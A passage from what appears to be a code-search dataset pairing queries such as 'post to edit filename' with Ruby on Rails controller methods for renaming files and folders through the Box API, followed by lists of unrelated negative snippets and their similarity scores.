"def index\n if current_user.internal == true\n @customers = Customer.all\n else\n @customer = Customer.find(current_user.customer_id)\n @stateLocCount = Location.getStateLocCountHash(@customer.locations)\n render \"show\"\n end\n end",
"def index\n @aux = 'notnil'\n if admin_signed_in?\n puts \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX#{params[:codigo]}\"\n if params[:codigo].nil? || params[:codigo].empty?\n @system_renewals = System::Renewal.all.paginate(page: params[:page], per_page: 15)\n else\n @system_renewals = System::Renewal.all.paginate(page: params[:page], per_page: 15)\n end\n else\n redirect_to new_admin_session_path\n end\n end",
"def index\n nova_ip = nil\n quantum_ip = nil\n # Read X-Auth-Token from message header and extract nova/quantum IPs\n if request.headers[\"X-Auth-Token\"] != \"\"\n token = request.headers[\"X-Auth-Token\"]\n begin\n services = Donabe::KEYSTONE.get_endpoints(token)\n services[\"endpoints\"].each do |endpoint|\n if endpoint[\"name\"] == \"nova\"\n nova_ip = endpoint[\"internalURL\"]\n elsif endpoint[\"name\"] == \"quantum\"\n quantum_ip = endpoint[\"internalURL\"]\n end\n end\n # Check if these nodes are active using given nova/quantum IPs\n checkNodes(DeployedContainer.where(:tenant_id => params[:tenant_id]),nova_ip,quantum_ip,token)\n\n @deployed_containers = DeployedContainer.where(:tenant_id => params[:tenant_id])\n logger.info \"Deployed Containers:\"\n logger.info @deployed_containers.to_s()\n rescue\n # Donabe no longer holds its own cookies\n # This rescue solution is deprecated\n # token = Storage.find(cookies[:current_token]).data\n # nova_ip = Storage.find(cookies[:nova_ip]).data\n # quantum_ip = Storage.find(cookies[:quantum_ip]).data\n\n logger.info \"Incorrect/Expired Token Received From Curvature:\"\n logger.info token\n \n # Respond with HTTP 401 Unauthorized\n render status: :unauthorized\n end\n else\n # Respond with HTTP 401 Unauthorized\n render status: :unauthorized\n end\n end",
"def index\n set_plan\n get_subscription\n if current_user.manager?\n @discount = current_user.daycare.discount_code\n else\n @discount = nil\n end\n end",
"def index\n if !session[:user_id]\n redirect_to customer_path(session[:customer_id]) , notice: 'Access Denied'\n return\n else\n @customers = Customer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end\n end",
"def index\n @customer = Customer.find(params[:cust_id])\n @payments = @customer.payments\n end",
"def index\n # The hook below can access controller's instance variables.\n if current_user\n if current_user.role?:livia_admin\n redirect_to companies_url\n elsif is_secretary_or_team_manager?\n redirect_to \"/wfm/notes\"\n elsif current_user.end_user\n redirect_to physical_clientservices_home_index_path\n elsif is_client\n redirect_to matter_clients_url\n elsif current_user.role?:lawfirm_admin\n redirect_to lawfirm_admins_url\n return\n end\n else\n flash[:error] = t(:flash_DB_error)\n redirect_to login_url\n end\n end",
"def run(client)\n return unless doing_chef_vault?\n\n sanity_check\n\n @client = client\n\n update_bootstrap_vault_json!\n end",
"def buscar\n get_controles\n render 'index'\n end",
"def controller\n Thread.current[:authlogic_controller]\n end",
"def index\n initiate()\n end",
"def index\n \n\n @cars = Car.all\n\n # if session[:admin_id]\n # @admin =Admin.find_by(id: session[:admin_id])\n # end\n\n end",
"def index\n checar_super\n end",
"def index\n @custumers = Custumer.all\n end",
"def customers\r\n @customers ||= CustomersController.new(configuration: @configuration)\r\n end",
"def index\n authorize Unit\n @units_version = Unit.version\n @units = Unit.all\n render\n end",
"def show\n authorize @service_template\n end",
"def index\n @activist_fronts = ActivistFront.all\n authorize ActivistFront\n end",
"def controller\n ApplicationController\n end",
"def index\n authorize Order\n super\n end",
"def index\n if params[:customer_id]\n begin\n @vehicles = Customer.find_by_id(params[:customer_id]).vehicles.paginate(:page => params[:page])\n rescue ActiveRecord::RecordNotFound\n render_404\n end\n end\n\n # search for a vehicle by vin\n if params[:search]\n @vehicles = Vehicle.search(params[:search]).paginate(:page => params[:page])\n if only_one_non_zero?(@vehicles)\n redirect_to @vehicles.first\n end\n end\n end",
"def index\n @cartridge_transfers = CartridgeTransfer.all\n end",
"def licenses\r\n LicensesController.instance\r\n end",
"def index\n \t# This is the view that customer sees after login. \n \t\t# It shows pretty much the same as root_path Ideally showing personalized address/past orders (in v2)\n \t# [optional] TODO: send to view only relevant vendors based on the address/distance\n \t# It should display the map zoomed in on current autolocalized area\n\t\t\t# showing pin[with listing# (of table bellow)]for each foodtruck and name of foodtruck on mouseover\n\t\t\t# showing (blue)circle for current_position (use autolocalization)\n\t\t\t# map should have possibility to zoom-in/out , move around\n\t\t# list of available (relevant) foodtrucks bellow map listing:\n\t\t\t# Foodtruck Name, logo, (cousine), (distance from current location)\n\t\t\t# show button next to each lising that will take them to order detail {post \"customer_orders/create_order\"}\n\t\t\t\t# sending vendor_id as parameter\n\t\t\t# [TODO feature] the list is sorted by distance from current location (based on autolocalization). \n\t\t\t\t# this will be computed at the time of rendering\n \t@vendors = Vendor.all\n gon.vendors = @vendors\n end",
"def show\n authorize! :read, @catalogs_headquarter\n end",
"def index\n\n if customer_signed_in?\n @addresses = Address.where(customer_id: current_customer.id)\n @states = State.all\n @cities = City.all\n\n #obteniendo precio para sumarlo en la vista y enviarlo a flow\n\n p_id = CartProduct.select(:product_id).where(cart_id: cookies[:cart_id])\n @products_price = Product.select(:price).where(id: p_id)\n end\n #para generar la direccion nueva\n @address = Address.new\n\n #para generar la orden\n @order = Order.new\n\n\n end",
"def index\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE\n # authorize Dataservice::ConsoleContent\n # PUNDIT_REVIEW_SCOPE\n # PUNDIT_CHECK_SCOPE (did not find instance)\n # @console_contents = policy_scope(Dataservice::ConsoleContent)\n # \n # @dataservice_console_contents = Dataservice::ConsoleContent.all\n @dataservice_console_contents = Dataservice::ConsoleContent.search(params[:search], params[:page], nil)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataservice_console_contents }\n end\n end",
"def index\n #raise current_user.inspect\n if current_user.is_customer?\n #o redirecionar a la pagina de index de customer\n @requests = Request.where( customer_id: current_user.customer.id)\n if @requests.empty?\n redirect_to new_request_path\n end\n else\n #redireccionar a la pagina de index de lawyer\n redirect_to index_lawyer_requests_path\n end\n\n end",
"def index\n @vouchers = Voucher.all\n end",
"def index\n @vouchers = Voucher.all\n end",
"def index\n @vouchers = Voucher.all\n end",
"def index\n if current_user.role == 'Party'\n @customers = current_user.party.customers\n else\n @customers = Customer.all\n end\n end",
"def list\n # 1. Ask the repo to bring all customers #all\n customers = @customer_repo.all\n # 2. Pass the customers to the view to display them\n @customer_view.display_all(customers)\n end",
"def welcome_back\n @univ_choice = University.find(params[:univ_id])\n\n if request.post?\n\n begin \n params[:terms] = true # cust already accepted once!\n\n # find order\n #\n oo = Order.for_cust(@customer).for_univ(@univ_choice.id).last\n raise \"error - no #{@univ_choice.name} univ for customer #{@customer.email}!\" unless oo\n \n # set cc\n #\n card = CreditCard.secure_setup(params[\"credit_card\"], @customer)\n card_success = card.save\n raise \"problem w CC\" unless card_success\n \n # set addr\n #\n addr_success = private_addr_do\n raise \"problem w addr\" unless addr_success\n\n # test CC\n #\n charge_amount = 0.01\n success, msg = ChargeEngine.charge_credit_card(card, charge_amount, oo.id, \"test charge\") \n raise \"we tested your credit card and had a problem: #{msg}\" unless success\n \n # apply 1 month credit\n #\n @customer.add_account_credit(0, nil, 1) if @customer.credit_months <= 0\n\n # reenable univ\n #\n oo.reinstate\n\n session[:reinstated_univ_id] = oo.id\n return redirect_to :univstore_welcome_back_done, :flash => { :message => \"success!\" }\n\n rescue Exception => e\n\n return redirect_to :back, :flash => { :message => e.message }\n end\n end\n\n end",
"def authorization; end",
"def index\n\t\t@inventory = CaseInventory.all\n\t\t # @case_inventories = smart_listing_create(:case_inventories, CaseInventory.all, partial: \"case_inventories/listing\")\n\tend",
"def index\n @cashbox = Cashbox.all\n end",
"def index\n if current_user.role == 'Party'\n @customers = current_user.customers\n else\n @customers = Customer.all\n end\n end",
"def set_vault\n @vault = params[:vault_id] ? Vault.find_by_id(params[:vault_id]) : Vault.find_by_id(params[:id])\n redirect_to root_url if @vault.nil? || @vault.user_username != params[:username]\n end",
"def accounts\r\n AccountsController.instance\r\n end",
"def accounts\r\n AccountsController.instance\r\n end",
"def index\n if usr_contact_signed_in?\n @current_merchant = UsrContactVendor.find_by_usr_contact_id(current_usr_contact.id)\n else\n @current_merchant = FALSE\n end\n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end"
] | [
"0.64976865",
"0.64976865",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.6269854",
"0.61270934",
"0.60087293",
"0.6000125",
"0.5980976",
"0.5927076",
"0.5894483",
"0.58390564",
"0.5775593",
"0.57695186",
"0.5766553",
"0.57271326",
"0.5714461",
"0.5673825",
"0.56606495",
"0.564212",
"0.5629193",
"0.5626116",
"0.56256425",
"0.56206864",
"0.5619425",
"0.56121737",
"0.55955565",
"0.5594002",
"0.5590534",
"0.5579217",
"0.55790716",
"0.5576905",
"0.5574712",
"0.5574601",
"0.55666167",
"0.5563553",
"0.5560999",
"0.5557175",
"0.5548879",
"0.5547761",
"0.5537888",
"0.552687",
"0.55165195",
"0.5510305",
"0.54941076",
"0.5481451",
"0.5479336",
"0.547051",
"0.54702747",
"0.5468446",
"0.54677236",
"0.5465881",
"0.54618686",
"0.5461035",
"0.54592264",
"0.5458785",
"0.54570997",
"0.54493046",
"0.5443545",
"0.54372203",
"0.543618",
"0.5434848",
"0.541863",
"0.5416504",
"0.541335",
"0.5409145",
"0.54056174",
"0.53992414",
"0.539889",
"0.539889",
"0.539889",
"0.53920346",
"0.53881407",
"0.53858036",
"0.5374226",
"0.5366463",
"0.5365894",
"0.53653777",
"0.53641695",
"0.53630084",
"0.53630084",
"0.53595686",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842",
"0.535842"
] | 0.0 | -1 |
post to edit filename | def edit_filename
client = user_client
file = client.file_from_id(params[:fileId], fields: [:parent])
mixpanel_tab_event("My Vault", "Rename Item")
# set current folder id & new file name
session[:current_folder] = file.parent.id
newName = params[:fileName] + '.' + params[:fileExt]
# make Box API call to update file name
begin
client.update_file(file, name: newName)
flash[:notice] = "File name changed to \"#{params[:fileName]}\""
rescue
flash[:error] = "Error: Could not change file name"
end
redirect_to dashboard_id_path(session[:current_folder])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def edit\n cur_path = current_path\n dir = Dir.new( cur_path )\n if request.post?\n original_name = params[:original_file_name].gsub(/\\.\\./, '')\n file_name = params[:file_name].gsub(/\\.\\./, '')\n if (original_name.blank? or file_name.blank?)\n @edit_file = original_name\n flash[:warning] = _('Invalid filename')\n elsif (dir.entries.include? file_name)\n flash[:warning] = _('File with the same name already exists!')\n else\n FileUtils.mv(cur_path + original_name, cur_path + file_name)\n flash[:notice] = _('File name updated successfully!')\n end\n end\n redirect_to :action => 'list', :path => @path.join('/'), :ahr => request.xhr?, :mode => params[:mode]\n end",
"def upload_wiki_file( wikipath, filename )\n raw = File.read( filename ).gsub( \"\\n\", \"\\r\\n\" )\n basename = filename.sub( /[.]#{EXTENSION}$/, '' )\n finalpath = \"#{wikipath}:#{basename}\"\n page = get( edit_url( finalpath ) )\n f = page.form_with( id: 'dw__editform' )\n f.field_with( name: 'wikitext' ).value = raw\n f.field_with( name: 'summary' ).value = 'automated by qscript'\n button = f.button_with( name: 'do[save]' )\n pp @agent.submit( f, button )\n save_uploaded( filename )\n end",
"def file_answer(file_name)\n frm.file_field(:name=>/deliverFileUpload/).set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-cle-test-api/\" + file_name)\n frm.button(:value=>\"Upload\").click\n end",
"def change_file file=nil\n if file.nil?\n #fn = accept_file_name\n file = choose_filename\n return if file == \"\"\n end\n check_file_age file\n get_data file\n $filename = file\n post_cd\nend",
"def set_filename(filename)\n if filename.nil?\n raise ArgumentError, 'Provide a filename for your post.'\n else\n @filename = filename\n end\n end",
"def edit_file(filename, content, options={})\n end",
"def file(_event)\n setTimeout 0 do\n @submitted = true\n @filed = true\n end\n end",
"def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end",
"def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end",
"def set_file_name\n @file_name = FileName.find(params[:id])\n end",
"def set_FileName(value)\n set_input(\"FileName\", value)\n end",
"def choose_file=(file_name)\n frm.file_field(:name=>\"importPoolForm:_id6.upload\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-cle-test-api/\" + file_name)\n end",
"def file name\n \n end",
"def save_wiki_source( page, filename )\n f = page.form_with( id: 'dw__editform' )\n wikitext = f.field_with( name: 'wikitext' ).value.delete( \"\\r\" )\n file_put_contents( filename, wikitext )\n button = f.button_with( name: 'do[draftdel]' )\n @agent.submit( f, button )\n end",
"def set_NewFileName(value)\n set_input(\"NewFileName\", value)\n end",
"def cmd_edit(*args)\n\t\tif (args.length == 0)\n\t\t\tprint_line(\"Usage: edit file\")\n\t\t\treturn true\n\t\tend\n\n\t\t# Get a temporary file path\n\t\tmeterp_temp = Tempfile.new('metassh')\n\t\tmeterp_temp.binmode\n\t\ttemp_path = meterp_temp.path\n\n\t\tbegin\n\t\t\t# Download the remote file to the temporary file\n\t\t\tclient.fs.file.download_file(temp_path, args[0])\n\t\trescue RequestError => re\n\t\t\t# If the file doesn't exist, then it's okay. Otherwise, throw the\n\t\t\t# error.\n\t\t\tif re.result != 2\n\t\t\t\traise $!\n\t\t\tend\n\t\tend\n\n\t\t# Spawn the editor (default to vi)\n\t\teditor = Rex::Compat.getenv('EDITOR') || 'vi'\n\n\t\t# If it succeeds, upload it to the remote side.\n\t\tif (system(\"#{editor} #{temp_path}\") == true)\n\t\t\tclient.fs.file.upload_file(args[0], temp_path)\n\t\tend\n\n\t\t# Get rid of that pesky temporary file\n\t\ttemp_path.close(true)\n\tend",
"def edit_form\n parsed = Namae::Name.parse(current_user.name)\n generic_file = ::GenericFile.new(creator: [parsed.sort_order], title: @batch.generic_files.map(&:label))\n edit_form_class.new(generic_file)\n end",
"def set_filename\n @filename = Filename.find(params[:id])\n end",
"def set_filename\n @filename = Filename.find(params[:id])\n end",
"def add_file name, file, mime, content\n @params << \n \"Content-Disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{file}\\\"\\n\" +\n \"Content-Transfer-Encoding: binary\\n\" +\n \"Content-Type: #{mime}\\n\" + \n \"\\n\" + \n \"#{content}\"\n end",
"def submit_question\n @filename ||= ask 'Filename: '\n\n puts \"Submitting #{@question}...\"\n\n form = @submission_page.forms.first\n form.file_uploads.first.file_name = @filename\n @agent.submit form\n\n puts \"#{@question} has been successfully uploaded to Marmoset.\"\n\n rescue Mechanize::ResponseCodeError\n puts \"File #{@question} submission failed. Please try again!\"\n exit\n end",
"def filename \n end",
"def set_FileName(value)\n set_input(\"FileName\", value)\n end",
"def set_FileName(value)\n set_input(\"FileName\", value)\n end",
"def set_FileName(value)\n set_input(\"FileName\", value)\n end",
"def set_FileName(value)\n set_input(\"FileName\", value)\n end",
"def upload\r\n \r\n end",
"def on_post(path)\n acct = I3.server.remote_account\n local_path = DocumentFile::DOC_FILE_PATH + path\n \n # Sanity checks\n unless File.directory?(local_path)\n send_uploaded_file_response I3::NotFoundException.new(\n :message => \"The path '#{path}' could not be found.\")\n return\n end #unless\n \n if DocumentPlatform.check_permission(:write, acct, local_path).empty?\n send_uploaded_file_response I3::SecurityException.new(\n :message => \"You do not have permission to write to folder '#{path}'\")\n return\n end #if\n \n # We are good to go so far, so let's grab the file\n file = I3.server.cgi[\"fileToUpload\"]\n filename = file.filename\n \n # Internet Explorer will sometimes send the whole path. We only want the filename.\n filename = filename.split(\"\\\\\").last if filename =~ /\\w:\\\\/\n \n begin\n response = UploadedFile.save_as(filename, file, local_path)\n send_uploaded_file_response response\n \n rescue I3::SecurityException\n log.warn \"User #{acct.account_name} tried to upload a file to '#{path}' and was denied.\"\n send_uploaded_file_response $!\n \n rescue FileAlreadyExistsException\n log.warn \"User #{acct.account_name} failed to save file '#{File.join(path, filename)}'\" + \n \" (#{$!.message})\"\n response = $!.to_shared\n response.temp_file = UploadedFile.save_as_temp(file)\n response.path = path\n response.original_filename = filename\n response.overwritable = (not DocumentPlatform.check_permission(\n :write, acct, File.join(local_path, filename)).empty?)\n send_uploaded_file_response response\n rescue\n log.warn \"User #{acct.account_name} failed to save file '#{File.join(path, filename)}'\" + \n \" (#{$!.message})\"\n send_uploaded_file_response I3::ServerException.new(\n :title => \"Could not save file\", \n :message => $!.message )\n end #begin\n \n end",
"def post_rename(old_name,repo,data)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{old_name}\",data).body_str\n end",
"def rename\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n unless params[:thetisBoxEdit].blank?\n @mail_folder.name = params[:thetisBoxEdit]\n @mail_folder.save\n end\n render(:partial => 'ajax_folder_name', :layout => false)\n end",
"def edit!(filename)\n file_path = Path.new(filename)\n command \"edit! #{file_path}\"\n self\n end",
"def set_post_file\n @post_file = PostFile.find(params[:id])\n end",
"def post_file(filename,repo)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\",{\"operation\"=> \"create\"}).body_str\n end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename\n original_filename\n end",
"def file_update(project, old_file, new_fie)\n file = ActionDispatch::Http::UploadedFile.new(\n tempfile: upload(new_fie),\n filename: new_fie,\n original_filename: old_file\n )\n post :file_update, user_id: project.user.username,\n id: project.name,\n branch: 'master',\n destination: new_fie,\n message: 'update image',\n file: file\n end",
"def upload_form(key,content)\n return \"Content-Disposition: form-data; name=\\\"#{CGI::escape(key)}\\\"\\r\\n\" +\n \"\\r\\n\" +\n \"#{content}\\r\\n\"\nend",
"def select_file=(file_name)\n frm.file_field(:id=>\"clonableUpload\", :name=>\"upload#{@@file_number}\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-cle-test-api/\" + file_name)\n @@file_number += 1\n end",
"def update\n respond_to do |format|\n if @filename.update(filename_params)\n format.html { redirect_to @filename, notice: 'Filename was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @filename.errors, status: :unprocessable_entity }\n end\n end\n end",
"def filename=(_); end",
"def file_changed(choo_file, lab)\n file = choo_file.filename\n file = \"\" \n if file == nil\n lab.text = file\n end\nend",
"def upload\n end",
"def upload\n end",
"def upload_file\n #TODO\n end",
"def edit(filename)\n file_path = Path.new(filename)\n command \"edit #{file_path}\"\n self\n end",
"def original_name=(value)\n\t\t\t@original_name = File.basename( value )\n\t\t\t@fileid\t= Digest::MD5::hexdigest(\"#{@comment}-#{@original_name}-#{@created}\")[0..7]\n\t\t\tname = File.join( \"attachments\", @fileid, @original_name )\n\t\t\t\n\t\t\tputs \"Attaching #{original_name} file with comment: \\\"#{comment}\\\" and id #{fileid} #{@ticket.filename}\"\n\t\t\tdir = File.dirname( @ticket.filename ) \n\t\t\tDir.mkdir( dir ) if not File.directory?( dir )\n\n\t\t\tattDir = File.join( dir, \"attachments\")\n\t\t\tDir.mkdir( attDir ) if not File.directory?( attDir ) \n\t\t\tfileAttDir = File.join( attDir, @fileid )\n\t\t\tDir.mkdir( fileAttDir ) if not File.directory?( fileAttDir )\n\t\t\tFile.copy( value, fileAttDir )\n\t\tend",
"def upload\n self._create params[:upfile], params[:pictitle]\n end",
"def save_file_entry\n @user.search_files.create!(file_path: uploaded_file_path.result, file_name: @file.original_filename, status: 'initialized')\n end",
"def store_file(*args)\n data, content_type, filename = args.reverse\n if filename\n http.put(204, luwak, escape(filename), data, {\"Content-Type\" => content_type})\n filename\n else\n response = http.post(201, luwak, data, {\"Content-Type\" => content_type})\n response[:headers][\"location\"].first.split(\"/\").last\n end\n end",
"def add entity, name, filename = nil\n entity.set_disposition('form-data', 'name' => name, 'filename' => filename)\n super(entity)\n end",
"def update!(**args)\n @file_name = args[:file_name] if args.key?(:file_name)\n end",
"def filename=( f )\n @filename = f\n end",
"def print_upload(id, file_name, file)\r\n dir = \"prints/#{id}\"\r\n file.original_filename = file_name + (File.extname file.original_filename)\r\n return write(dir, file)\r\n end",
"def edit_file\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n end",
"def setFilename(filename)\r\n\t\t\t\t\t@filename = filename\r\n\t\t\t\tend",
"def update\n @upload_file = UploadFile.find(params[:id])\n\t\tauthorize! :create, @upload_file\n\n\t\tif params[:upload]\n\t\t\tname = UploadFile.save(params[:upload])\n\t\t\t@upload_file.filename = name\n\t\tend\n\t\t\n respond_to do |format|\n if @upload_file.update_attributes(params[:upload_file])\n\t format.html { redirect_to(upload_files_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def upload(file, someone)\n end",
"def send_file_data filename\n\t\tEventMachine::send_file_data @signature, filename\n\tend",
"def filename= name\n #This is a stub, used for indexing\n end",
"def post_revert(filename,commit_id,repo)\n curl_put(\"#{self.host}/api2/repos/#{repo}/file/revert\",{\"commit_id\" => commit_id,\"p\" => filename }).body_str\n end",
"def add_file(filename)\n step('I visit the new file page')\n fill_in(\"file_label\", with: filename)\n attach_file('file_file', filename)\n fill_in('file_description', with: sample_file_description(filename))\n click_link_or_button('Upload File')\n wait_for_ajax_complete\nend",
"def edit\n @post = Post.find(params[:id])\n @file = Datafile.find_by_model_id_and_model_name @post.id, \"Post\"\n @event = @post.event if @post.final.to_s == \"event\"\n params[:tags] = @post.tag_list.split().join(\", \")\n end",
"def set_FileName1(value)\n set_input(\"FileName1\", value)\n end",
"def post page_name\n redirect(\"/login?return_to=#{CGI::escape(@env['REQUEST_URI'])}\") and return unless logged_in?\n page_name_spc = page_name.gsub(/_/,' ')\n if input.submit = 'save'\n attrs = { :body => input.post_body, :title => input.post_title, :user_id =>@state.user.id }\n attrs[:readonly] = input.post_readonly if is_admin?\n @page = Page.find_by_title(page_name_spc)\n if @page.nil?\n # new page\n @page = Page.create(attrs)\n else\n @page.update_attributes(attrs)\n end\n redirect Show, input.post_title.gsub(/ /,'_')\n elsif input.submit == 'minor edit'\n attrs = { :body => input.post_body }\n attrs[:readonly] = input.post_readonly if is_admin?\n page = Page.find_by_title(page_name_spc)\n current_version = page.find_version(page.version)\n current_version.update_attributes(attrs)\n page.without_revision { page.update_attributes(attrs) }\n redirect Show, input.post_title.gsub(/ /,'_')\n else # cancel\n redirect Show, page_name\n end\n end",
"def update\n respond_to do |format|\n if @filename.update(filename_params)\n format.html { redirect_to @filename, notice: 'Filename was successfully updated.' }\n format.json { render :show, status: :ok, location: @filename }\n else\n format.html { render :edit }\n format.json { render json: @filename.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_name\n # p \"-\"* 50\n # p \"edit name\"\n # @name_exercise_id = params[:format]\n end",
"def upload_name_for_path(full_path)\n require \"#{ENV['TM_SUPPORT_PATH']}/lib/escape.rb\"\n\n # WordPress automatically places files into dated paths\n prefix = mode == 'wp' ? '' : Time.now.strftime('%F_')\n file = File.basename(full_path)\n\n if ENV['TM_MODIFIER_FLAGS'] =~ /OPTION/\n\n suggested_name = prefix + file.gsub(/[ ]+/, '-')\n result = TextMate.input_box('Upload Image', 'Name to use for uploaded file:', suggested_name, 'Upload')\n TextMate.exit_discard if result.nil?\n\n alt = result.sub(/\\.[^.]+\\z/, '').gsub(/[_-]/, ' ').capitalize.gsub(/\\w{4,}/) { |m| m.capitalize }\n [ result, alt ]\n\n else\n\n base = file.sub(/\\.[^.]+\\z/, '')\n ext = file[(base.length)..-1]\n suggested_alt = base.gsub(/[_-]/, ' ').gsub(/[a-z](?=[A-Z0-9])/, '\\0 ').capitalize.gsub(/\\w{4,}/) { |m| m.capitalize }\n\n result = TextMate.input_box('Upload Image', 'Image description (a filename will be derived from it):', suggested_alt, 'Upload')\n TextMate.exit_discard if result.nil?\n\n require \"iconv\"\n name = Iconv.new('ASCII//TRANSLIT', 'UTF-8').iconv(result.dup)\n\n name.gsub!(/[^-_ \\/\\w]/, '') # remove strange stuff\n name.gsub!(/[-_ \\/]+/, '_') # collapse word separators into one underscore\n name.downcase!\n [ prefix + name + ext, result ]\n\n end\n end",
"def upload_file=(file_name)\n self.file_field(:id=>\"multifile_upload\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-oae/\" + file_name)\n end",
"def filename\n get \"filename\"\n end",
"def original_filename; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end"
] | [
"0.6418168",
"0.6351573",
"0.6298866",
"0.6258384",
"0.62566507",
"0.61811996",
"0.6138717",
"0.61205167",
"0.61205167",
"0.6066684",
"0.60456556",
"0.60418427",
"0.6008105",
"0.59850746",
"0.5951681",
"0.5945934",
"0.5941403",
"0.59028345",
"0.59028345",
"0.58943117",
"0.5889869",
"0.58627146",
"0.5862659",
"0.5862659",
"0.5862659",
"0.5862659",
"0.586047",
"0.585312",
"0.5845729",
"0.58190364",
"0.57873994",
"0.57795274",
"0.57673097",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5748178",
"0.5746439",
"0.57439077",
"0.5737686",
"0.57247925",
"0.5723236",
"0.5719892",
"0.5708709",
"0.57071054",
"0.57071054",
"0.5705413",
"0.5703505",
"0.5700448",
"0.5699762",
"0.56795895",
"0.56778497",
"0.56767154",
"0.5670918",
"0.5666106",
"0.56548315",
"0.5636674",
"0.56357276",
"0.5635289",
"0.5632811",
"0.56321967",
"0.5627428",
"0.5623791",
"0.5622978",
"0.5622805",
"0.5619652",
"0.5617986",
"0.56153977",
"0.5613041",
"0.5609684",
"0.5606946",
"0.5594027",
"0.55930096",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568",
"0.5589568"
] | 0.6155889 | 6 |
post to edit folder name | def edit_folder_name
client = user_client
mixpanel_tab_event("My Vault", "Rename Item")
# folder = client.folder_from_id(params[:folder_id])
session[:current_folder] = params[:folder_id]
# make Box API call to update folder name
begin
client.update_folder(params[:folderId], name: params[:folderName])
Rails.cache.delete("/folder/#{session[:box_id]}/my_folder/#{params[:folderId]}")
flash[:notice] = "Folder name changed to \"#{params[:folderName]}\""
rescue
flash[:error] = "Error: Could not change folder name"
end
redirect_to dashboard_id_path(session[:current_folder])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rename\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n unless params[:thetisBoxEdit].blank?\n @mail_folder.name = params[:thetisBoxEdit]\n @mail_folder.save\n end\n render(:partial => 'ajax_folder_name', :layout => false)\n end",
"def update\r\n if request.post?\r\n if @folder.update_attributes(:name => params[:folder][:name], :date_modified => Time.now)\r\n redirect_to :action => 'list', :id => folder_id\r\n else\r\n render_action 'rename'\r\n end\r\n end\r\n end",
"def edit\n cur_path = current_path\n dir = Dir.new( cur_path )\n if request.post?\n original_name = params[:original_file_name].gsub(/\\.\\./, '')\n file_name = params[:file_name].gsub(/\\.\\./, '')\n if (original_name.blank? or file_name.blank?)\n @edit_file = original_name\n flash[:warning] = _('Invalid filename')\n elsif (dir.entries.include? file_name)\n flash[:warning] = _('File with the same name already exists!')\n else\n FileUtils.mv(cur_path + original_name, cur_path + file_name)\n flash[:notice] = _('File name updated successfully!')\n end\n end\n redirect_to :action => 'list', :path => @path.join('/'), :ahr => request.xhr?, :mode => params[:mode]\n end",
"def update\n temp = @folder_client.update(get_id, params_create_folder)\n if temp[:status]\n flash_message(:notice,\"#{t('folder.folder')} #{t('succesfully_updated')}\")\n redirect_to folder_path(temp[:data].id)\n else\n flash_message(:error, 'Problema actualizando Carpeta')\n redirect_to root_path\n end\n @success = temp[:status]\n end",
"def create\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n parent_id = params[:selectedFolderId]\n\n if params[:thetisBoxEdit].blank?\n @mail_folder = nil\n else\n @mail_folder = MailFolder.new\n @mail_folder.name = params[:thetisBoxEdit]\n @mail_folder.parent_id = parent_id\n @mail_folder.user_id = @login_user.id\n @mail_folder.xtype = nil\n @mail_folder.save!\n end\n render(:partial => 'ajax_folder_entry', :layout => false)\n end",
